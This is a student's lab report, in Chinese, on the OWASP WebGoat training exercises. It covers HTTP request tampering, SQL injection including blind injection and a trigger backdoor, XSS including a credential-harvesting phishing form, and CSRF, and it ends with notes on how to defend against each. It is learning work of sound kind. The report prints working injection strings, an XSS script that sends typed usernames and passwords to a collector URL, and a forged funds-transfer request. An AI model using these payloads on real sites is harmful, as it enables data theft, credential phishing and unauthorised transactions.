Exp9 Web安全基础

exp9 Web安全基础

0x0 环境说明

终于来到Web安全这一方向了,这也是课程的最后一次实验。

我还只是个Web安全的小白,对这一领域不了解。我希望通过这次实验,学习Web安全中基本的漏洞点,以及基本的漏洞利用技巧,增加了解。

当然,基础知识一定要补齐,以后学习过程中应该缺啥补啥。

  • 训练环境:OWASP WebGoat project 8.0
  • 8.0版本的WebGoat更像是一个teaching platform,而不是hacking platform
  • 暂时只完成教学部分,challenge部分的CTF需要有实力以后再去完成。

0x1 基本技能——HTTP和HTML基础

WebGoat 8.0教学的第一部分就是学习HTTP协议,已经设置HTTP代理,修改HTTP数据包。

当然啦,作为OWASP项目,使用的工具是OWASP ZAP这个开源扫描器。

0-0

首先设置HTTP代理服务器的端口

0-1

然后再浏览器中配置HTTP代理,这里我用的是firefox

0-2

一定要注意,把localhost和127.0.0.1

练习——修改HTTP数据包

WebGoat有一个修改过HTTP数据包的练习,要求是:

  • 将方法设置为GET
  • 添加头部字段'x-request-intercepted:true'
  • 将输入值'changeMe'改为'Requests are tampered easily' (没有单引号)

0-3-0

点击ZAP的绿色小圆钮拦截请求,然后我们按要求修改、发送即可。

0-3

注意,将POST方法给为GET方法时,参数就不在HTTP数据包中了,而是变成了URL参数。

练习——绕过2FA(双因素认证)

WebGoat中提供了这样一个练习,我们要重置password,需要回答密保问题。

但是我们不知道要问题的答案,我们通过ZAP修改HTTP请求包欺骗系统,从而重置password

0-4

随便在表单中输入数据,然后用ZAP把HTTP请求截获下来。

0-5

一开始我无论怎么修改,都没办法通过验证。后来我在YouTube上看到了解决方法

把secQuestion0该为secQuestion00,把secQuestion1改为secQuestion01,然后提交就可以了。

0-6

为啥这样就能成功呢?我到现在也没弄明白。

练习——不安全的登录(Insecure Login)

webgoat中的这个教程是告诉我们传输未加密的敏感信息是非常危险的。

0-7

练习题的要求就是嗅探提交数据,得到用户名和password。

我们用ZAP直接查看HTTP请求包就可以发现username和password了。

0-8

提交上面的数据就完成了这个练习。

练习——客户端缺陷(Client side filtering)

这个练习告诉我们向客户端发送过多的信息会导致严重的 访问控制问题

我们在这个练习中的目标是获取更高权限才能获得的信息。

0-9

该练习的要求是拿到CEO的薪水信息,CEO的名字是Nevile Bartholomew。

以我的权限是无法在页面看到CEO的信息的。

0-10

但是HTML源码却泄露了CEO的信息。

0-11

我们轻松拿到了该练习的答案——CEO的薪水为450000

0-12

这道题还是相当简单的。

练习——绕过前端限制(Bypass front-end restrictions)

用户能够轻易的控制前端,比如修改HTML或者脚本,因此这就是为什么服务端要验证Web应用的输入。

WebGoat中的一个练习就要求我们绕过表单的限制。

0-13

我们要做的

  • select下拉列表应该选择全部的两个选项
  • 单选框radio要两个选项都选择到
  • checkbox复选框两种状态都要有
  • 绕过输入表单长度限制

既然有ZAP在手,直接修改HTTP请求即可

0-14

通过HTTP代理修改请求包后再发送,我们成功完成这个练习

0-15

练习——HTML篡改(HTML tampering)

WebGoat给出的另一个练习是这样的:

0-16

我们的目标是以尽量低的价格购买电视机。

这道题主要是展示客户端的不可信的。我们直接查看HTML源码,看看这个表单是啥样子的。

0-17

我们发现了一个隐藏域,看起来服务器是接收这个隐藏域来确定价格的(真是太乱来了……)

随便修改这个隐藏域中的数字,干脆弄成“0”吧。ZAP中也看到了这个HTTP请求。

0-18

不错,简单修改HTML就完成了这个练习的要求。

0-19

其实直接用ZAP的代理修改HTTP请求包就可以了,这和直接篡改HTML是一个效果。

小结

WebGoat给出了这么多Client Side的练习,就是要告诉我们一个道理永远不要信任客户端的输入,基本用JavaScript对数据进行筛选,我们也可以直接修改HTTP请求包。

服务器端对接收到的数据一定要再次确认和筛选。比如刚才的“买电视”,服务器一定要再次从自己的数据库里查一下电视机的单价,再做一次运算和用户数据进行比对。

前端浏览器的HTML是极易被篡改的,HTTP请求也是可以被修改的,Web前端的世界是非常脆弱的

0x2 课程1——注入漏洞(Injection Flaws)

这部分教学有四项内容,SQL Injection、SQL Injection(advanced)、SQL Injection(mitigations)、XXE

1-1

0x31 SQL injection(已完成两个练习)

先是基本的SQL注入教学,webgoat会介绍string SQL injection(字符串型的SQL注入)和numberirc SQL Injection(数字型SQL注入)

一个成功的SQL注入可以:

  • 读取和修改数据库中的敏感数据
  • 执行数据库管理员操作
    • 关闭审计或DBMS
    • 截获表格和日志
    • 添加用户
  • 恢复DBMS文件系统中给定文件的内容
  • 列出操作系统的指令

SQL注入举例

可能的字符串型注入有:

"select * from users where name ='" + userName + "'";

可能的字符型注入有:

"select * from users where employee_id = "  + userID;

攻击者可以提供的输入有

  • userName = Smith' or '1' = '1
  • userName = ' or 1=1 --
  • userID = 1234567 or 1=1
  • UserName = Smith'; drop tables users; truncate audit_log

Web应用程序会执行

  • select * from users where name='Smith' or '1'='1'
    • select * from users where name='Smith' or TRUE
  • select * from users where employee_id = 1234567 or 1=1

这样,所有的记录会从数据库中返回

练习1——String SQL Injection

直接使用webgoat教程中给出的技巧即可。

2-1

练习2——numberic SQL Injection

使用数字型SQL注入的技巧即可。

2-2

0x22 SQL Injection(advanced)——进阶SQL注入(共两个练习,完成一个)

接着我们探索更高级的SQL注入话题。我们在这里需要了解

  • 组合SQL注入技术(Combining SQL Injection Techniques)
  • SQL盲注(Blind SQL Injection)

虽然Webgoat中说这些技巧是advanced,但放到现在,也只是基本技术。

你需要知道的特殊字符和特殊语句

Webgoat给出了特殊的字符

/* */ 是内联注释(inline comments)
--, # 是行注销(line comments)

举例:Select * from users where name = 'admin' -- and pass = 'pass'
; 允许执行多个查询(query chaining)

举例:Select * from users; drop table users;
', +, || 允许字符串的
Char() 无引号的字符串

举例:Select * from users where name = '+char(27) or 1=1

不过,不同的数据库也细微的差别。

一些特殊的语句在SQL注入中也起到关键的作用:

  • union可以重叠数据库的表格,'select id, text from news union all select name, pass from users'
  • joins可以连接到其他的表

练习1——尝试从其他表格中获取数据

Webgoat在这一部分的第一个练习,目的是找到Dave用户的password。

2-3

由于要用到union查询,我们必须知道select语句选择的列数。

我看别人的博客,好像是要用 order by排序来判断列数的。

其实在这里可以直接输入' or 1=1 --把表格全部脱出来的,很容易就知道列数了

dave不在这张表格里,需要用union语句把user_data_system表格显示出来

我们构造的字符串是

' union null, username, password, null, null, null, null from user_data_system -- 

2-3-1

发现了!!dave的password就是dave。

但不知道为什么,完成后WebGoat没有点亮这个图标。可能是输入的攻击字符串不是标准答案吧。

事实上,这个SQL注入点非常脆弱,只要输入

'; select * from user_daa_system; --

同样可以达到相同的效果。

未完成的练习

接下来的题目我还没有做出来,不过作为一个Web萌新,这是正常的。

2-4

这是一道需要综合SQL注入技术的题目,可能还需要结合SQL盲注,等我研究一下,后面再攻克这个题目。

0x23 SQL Injection(mitigations)——SQL注入的缓解与防御

这一部分介绍了SQL注入的缓解措施。

比如:不可变的查询语句、静态查询语句、参数化语句、存储过程等。

而且给出了许多例子,有兴趣的同学自己在WebGoat 8.0上浏览即可。

webgoat在这一部分只有一道习题。

2-5

这里WebGoat给出的提示是通过order by,找到webgoat-prd服务器的IP地址。

而且这里的表单并不是一个脆弱的SQL注入点。

YouTube上的一个视频展示了这道题的做法,这道题应该是截获HTTP响应包,然后进行修改。

2-6

????我没有明白这道题在这一模块的作用是啥。因为只要输入表单上存在的IP地址,WebGoat都会提示你通过了。

2-7

现在我们看到表单中出现了webgoat-prd了。

暂时就当这道题是这么做的吧,虽然和SQL注入技巧关系不大,不过好歹也学会了修改HTTP响应中的JSON数据了。

我们在实践中,应该注意最小权限原则,尤其是要在数据库连接池中注意读写权限的分配。

小结

在注入漏洞(Injection Flaws)这一教学模块中,我有一道综合的SQL注入练习没有完成。

由于我对XML不是很了解(虽然在java web课程中接触过),没有完成XXE部分的教学练习。

如果我想成为一个技术大牛的话,这些技巧必须要掌握的。

但由于咱们只是玩票的性质,暂时放一放吧。

0x3 课程2——XSS

XSS的可以分为三类:反射型、存储型、基于DOM的XSS。

第一个练习

第一个练习是获取当前页面的cookie,这里需要用chrome或者firefox浏览器

新开一个标签页,并在地址栏输入一下内容

javascript:alert("XSS Test");
javascript:alert(document.cookie);

然后比较两个标签页的cookie是否一致。

3-1

我们可以发现,这两个标签页的cookie都是JSESSIONID=D0913650405F1FEBC6B4457F52193892

练习2——一个反射型XSS

在服务器端检查用户的所有输入是一个好的实践。反射型XSS中,攻击者让用户“点击”带有攻击脚本的恶意URL。

在这个练习中,要求我们的攻击载荷包含<script>alert('my javascript here')</script>

我们的任务是找到一个哪一个表单元素是可以执行XSS。

3-2

随便选一个输入框输入攻击载荷,在按下UpdateCart按钮

3-3

WebGoat给出了通过的提示,也就是说我们尝试的注入点是对的。

(虽然我做这个练习的时候感觉莫名其妙……这是啥效果???)

练习3——确认一个基于DOM的XSS

基于DOM的XSS是另一种形式的反射型XSS,它们都是通过链接触犯并在浏览器上作用的。不同的是,基于DOM的XSS不会跑的服务器上,它只会在客户端上执行,攻击者的恶意代码以本地账号的权限执行。

用户不会知道发生了攻击行为……恶意攻击者不会使用<script>alert('xss')</script>

这个练习里面,需要寻找一些“测试”代码(WebGoat使用backbone作为其主要的JavaScript库)。 有时候,测试代码会在生产中遗留下来(通常测试代码非常简单,缺乏安全性或任何质量控制!)。

你的目标是找到路径并利用它。这里需要找到测试代码的位置。

3-4

根据提示,我们要检查GoatRouter.js文件,通过firefox浏览器的开发者工具就可以查看。

3-5

我们很轻松的发现,Backbone库中,测试代码的路径

3-6

然后填写答案,并提交

3-7

下一步应该是进行真正的基于DOM的XSS攻击。

未完成的练习

webgoat的XSS课程还有两个练习我没有完成。

一个就是尝试基于DOM的XSS攻击,通过URL执行webgoat.customjs.phoneHome(),然后会获取一个随机数,提交这个随机数后就完成了这个练习。

最后一个练习给出了一个场景,完成的目标和上一题一样。

我暂时还没解决这些问题,先放一放。

小结

即便做了XSS部分的三个教学练习,我对XSS还是一头雾水。

WebGoat 8.0 给出的提示和教学非常少,还得有一定的基础才能玩的开心呀。

0x4 课程3——CSRF

CSRF——跨站请求伪造,和会话劫持,点击劫持一样,是一种对网站的恶意利用,向网站发出不是用户本人但却被网站信任的请求。

CSRF有如下的特征:

  • 它涉及依赖用户身份的网站
  • 它利用该网站对身份的信任
  • 它诱骗用户浏览器发送HTTP请求到目标站点
  • 它涉及有副作用的HTTP请求

一个Web应用如果是根据受信和经过验证的用户输入来执行操作的话,它就可能面临CSRF的威胁。一个在本地浏览器通过cookie认证的用户很可能不知不觉的向网站发送HTTP请求,而且用户还不知道。

练习——Basic Get CSRF(基本的GET请求的CSRF)

WebGoat教程中给出了一个最简单的CSRF攻击。 例如,您会收到一封包含以下内容的电子邮件:

<a href="http://bank.com/transfer?account_number_from=123456789&account_number_to=987654321&amount=100000">查看我的图片!</a>

如果用户已经在bank.com的网站保持了登录状态,这个简单的GET请求将把钱从一个账户转移到另一个账户。 当然,在大多数情况下,网站可能有多个控件来批准请求。

接着,WebGoat给出了一个练习

4-1

我们需要从外部源触发下面的表单。然后HTTP响应中会包含一个“flag”

提交这个flag就可以了。

如果在外部触发,HTTP请求头部的referer字段就会是外部源的url,WebGoat是通过referer字段来判断本题是否达到要求的。

4-2

耍个小聪明,随便改一下referer这个HTTP头部信息,果然拿到了flag。

4-3

再提交一下,答案是正确的。

4-4

我的猜测没有错,果然是通过验证referer头部来判断的。

未完待续

我还没有仔细研究CSRF,这部分就先做一个练习吧。

(虽然这第一个练习我也是靠用代理作弊,改referer通过的,笑)

其他练习以后再说(或者这这辈子都不会做了)

WebGoat 8.0 学习总结

这次实验,我的Webgoat的画风和其他同学的有点不一样。

由于WebGoat 8.0是OWASP最新推出的练习项目,网上的资料还很少。

WebGoat 8.0更像是一个教学平台(teaching platform),而不是一个漏洞平台(hacking platform)

我的水平有限,暂时只能解决一些比较简单的题目,等啥时候成为一条Web老狗,应该能把WebGoat 8.0给刷通关吧。

不过,我在大学生涯里应该达不到这种高度了。

基础问题解答

(1)SQL注入攻击原理,如何防御

  • 原理:向Web应用程序输入一段精心构造的SQL查询指令,攻击和利用不完善的输入验证机制,使得注入代码得以执行完成非预期的攻击操作。
  • 防范:输入过滤、参数化sql语句或直接使用存储过程、提供更少的错误信息

(2)XXS攻击原理,如何防御

  • 原理:由于Web应用程序的输入验证机制不完善,攻击者在服务器端网页中插入一些恶意的客户端代码,在Web服务器上产生出一些恶意攻击页面。
  • 防范:输入验证、输出净化(对HTML标签进行转义)、消除危险输入点。提升客户端浏览器安全性。

(3)CSRF攻击原理,如何防御

  • 原理:攻击者盗用用户身份,伪造恶意请求发送给服务器,完成预期操作。
  • 防御:通过referer、表单令牌token或验证码来检测用户提交、避免全站通用的cookie,严格设置cookie的域、不用在页面链接中暴露用户隐私信息。

实验新得与体会

课程结束了,而技术之路是没有止境的。

我在这门课程中玩了后门和木马、用了各种工具、尝试了一些漏洞、在虚拟环境里面各种捣鼓,虽然连脚本小子都算不上,但也体会到了入侵带来的快感。

不过,就算工具玩得再花,扫描器用的再熟,技术依然是浮于表面的,缺乏深入研究的,离真正的“黑客”还差的很远。

人的精力是有限的,即便是专业人士,也只是在某些细分领域略有所得。

成为公务员之后,我应该没有机会接触这些技术了。

但是,足够耐心、乐于钻研、不断学习、勇于挑战、崇尚自由甚至略微叛逆的极客精神,是我得到的最大精神财富。

补充——WebGoat 7.1 练习

webgoat8.0太新了,网上资料比较少,我给出的题目都太简单了,不符合实验要求。
(webgoat题目难度跨度过大,虽然之前的铺垫式的练习能做,但后面比较关键的练习我就没能力做了)

这里,我还是老老实实通过webgoat 7.1学习一些技术,打打基础。

一些已经和Webgoat 8.0中解题思路和方法相似的练习就不写在这里了。

SQL注入——Database Backdoors

阶段一

p-1

在第一阶段,我们需要利用字符串型的SQL注入,执行多条SQL语句。我们的任务是将自己的ID为101的账号中的salary变得更高。

数据库的表名employee,各个字段userid,password,ssn,salary,email我们都是知道的。

直接输入攻击payload

101; update employee set salary=1000000 where userid=101;

p-2

阶段二

在这一阶段,我们需要使用SQL注入植入后门。Webgoat的教程是注入一个触发器,作为SQL后门。

触发器的语法是

CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid。

非常可惜,我们的数据库好像不支持触发器,所以什么都执行不了

p-3

SQL的盲注——Blind Numberic SQL Injection

Webgoat给出了一个布尔型SQL盲注的练习。我们需要根据页面的两个不同的状态,猜测cc_number的值是11112222333334444的账户。

能看到的状态只有两种:

  • Invalid account number.
  • Account number is valid.

构造payload为:

101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > [num] );

这里的num是猜测的数字,如果num过大,我们看到的状态就是Invalid account number,如果num过小或者相等,就是Account number is valid

我们可以通过二分法找到临界值

num的初始值我选择为5000

p-4

这个数字过大了,接着依次尝试2500,1250,1875,2186,2343,2421,2382,2363,2372,2368,2366,2365,2364,2363。

我们找到了零界点,我们可以确定最终答案就是2364了

p-5

如果能够写一个自动化的二分查找脚本就好了,可惜我不会

不过从这个练习里面我还是可以体会一些SQL盲注的技巧的。

SQL的盲注——Blind String SQL Injection

Webgoat的另一个SQL盲注的练习,就是字符串型SQL注入。这个练习的目的是找到表格中cc_number为4321432143214321的name字段。

p-6

我们需要猜测的是一个字符串,需要一个一个字符的进行猜测。

用到的SQL函数是SUBSTRING()(或者SUBSTR(),这和使用的数据库有关系)

SUBSTR(str, pos, len)表示在str中第pos个位置开始,选出len个字元。

我们可以构造这样的payload:

101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), [pos], 1) < [char] );

其中,pos代表字符所在的位置,char是字母,依旧使用二分法试探每个位置的字符。

p-7

经过不断的尝试,我们找到了最终答案Jill

p-8

还是一样的问题,就是SQL盲注的自动化,我暂时还不会使用工具或脚本执行这些操作

XSS练习——Phishing with XSS

这个课程是展示如何通过XSS漏洞进行钓鱼攻击。

我们的目标是

  • 插入一个需要凭证的HTML
  • 增加一个JavaScript来收集这些凭证
  • 将凭证POST至http://localhost:8080/WebGoat/catcher?PROPERTY=yes...

我们构造的payload如下(其实是从其他人的博客抄的):

</form>
<script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
 </script>
<form name="phish">
<br><br>
 <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>

直接复制到表单中

p-9

然后出现了下面的表单:

p-10

最后得到这样的结果:

p-11

不得不吐槽,这个payload实在太过庞大了。

XSS练习——stored XSS概念验证

接着我们完成一个存储型XSS攻击的练习。

p-12

我们是使用Tom的账号在street字段执行一个存储型XSS攻击。验证Jerry受到此攻击的影响。

p-13

然后我们登录Jerry的账号

p-14

然后查看Tom Cat的账号信息。

p-15

我们这就验证了一个存储型XSS的效果。

XSS练习——Reflected XSS概念验证

这个练习展示了反射型XSS的效果。我们需要验证使用此恶意链接的另一个用户受此攻击影响。

p-16

登录账号larry,在searchStaff中输入<script>alert('Dangerous');</script>

p-17

然后,就会出现弹窗。这就是一个反射型的XSS

XSS练习——stored XSS Attacks

接下来我们模拟一个存储型的XSS攻击,创建一个可能让另一个用户加载不期望的页面的消息。

p-18

我们看到Message List中有刚才我们的消息链接,点击这个消息链接

p-19

我们的JavaScript代码执行了,这就是一个存储型的XSS。

当然,真实的XSS攻击中,攻击payload更加复杂,而且非常隐蔽。

CSRF练习——CSRF的概念验证

这个练习中,我们的目标是向新闻组发送一封email,该email包含一个image,其URL指向一个恶意请求,URL应该指向“attack”servlet,其带有课程“Screen”和“menu”参数,一个额外参数“"transferFunds”带有任意数字值诸如5000。

p-1-1

我们构造的payload是

<img src="http://localhost:8080/WebGoat/attack?Screen=2078372&menu=900&transferFunds=5000" width="1" height="1" />

我们把标题设为CSRF,提交后得到如下结果

p-1-2

我们点击这个链接,并且抓包修改一下参数,添加&transferFunds=5000

p-1-3

接着完成这个练习。

p-1-4

posted @ 2018-05-24 22:22  20155110wangyifan  阅读(776)  评论(0编辑  收藏